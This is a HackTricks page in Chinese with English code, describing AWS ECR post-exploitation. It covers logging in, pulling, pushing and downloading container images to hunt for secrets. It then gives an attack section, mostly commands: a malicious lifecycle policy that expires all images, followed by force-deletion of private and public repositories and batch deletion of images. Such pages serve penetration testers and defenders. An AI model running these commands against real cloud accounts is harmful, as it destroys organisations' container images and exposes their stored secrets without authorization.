AWS - ECR Post Exploitation
支持HackTricks
检查订阅计划!
加入 💬 Discord群 或 电报群 或 关注我们的Twitter 🐦 @hacktricks_live.
通过向HackTricks和HackTricks Cloud github仓库提交PR来分享黑客技巧。
ECR
有关更多信息,请查看
AWS - ECR Enum登录、拉取和推送
# Docker login into ecr
## For public repo (always use us-east-1)
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
## For private repo
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
# Download
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<img_name>:latest
## If you still have the error "Requested image not found"
## It might be because the tag "latest" doesn't exit
## Get valid tags with:
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
# Inspect the image
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
# Upload (example uploading purplepanda with tag latest)
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
# Downloading without Docker
# List digests
aws ecr batch-get-image --repository-name level2 \
--registry-id 653711331788 \
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
## Download a digest
aws ecr get-download-url-for-layer \
--repository-name level2 \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
在下载完镜像后,应检查其中是否包含敏感信息:
ecr:PutLifecyclePolicy
| ecr:DeleteRepository
| ecr-public:DeleteRepository
| ecr:BatchDeleteImage
| ecr-public:BatchDeleteImage
ecr:PutLifecyclePolicy
| ecr:DeleteRepository
| ecr-public:DeleteRepository
| ecr:BatchDeleteImage
| ecr-public:BatchDeleteImage
拥有上述任何权限的攻击者可以创建或修改生命周期策略以删除存储库中的所有镜像,然后删除整个 ECR 存储库。这将导致存储库中存储的所有容器镜像丢失。
bashCopy code# Create a JSON file with the malicious lifecycle policy
echo '{
"rules": [
{
"rulePriority": 1,
"description": "Delete all images",
"selection": {
"tagStatus": "any",
"countType": "imageCountMoreThan",
"countNumber": 0
},
"action": {
"type": "expire"
}
}
]
}' > malicious_policy.json
# Apply the malicious lifecycle policy to the ECR repository
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
# Delete the ECR repository
aws ecr delete-repository --repository-name your-ecr-repo-name --force
# Delete the ECR public repository
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
# Delete multiple images from the ECR repository
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
支持 HackTricks
检查订阅计划!
加入 💬 Discord 群组 或 telegram 群组 或 关注我们的 Twitter 🐦 @hacktricks_live.
通过向HackTricks和HackTricks Cloud github 仓库提交 PR 来分享黑客技巧。
Last updated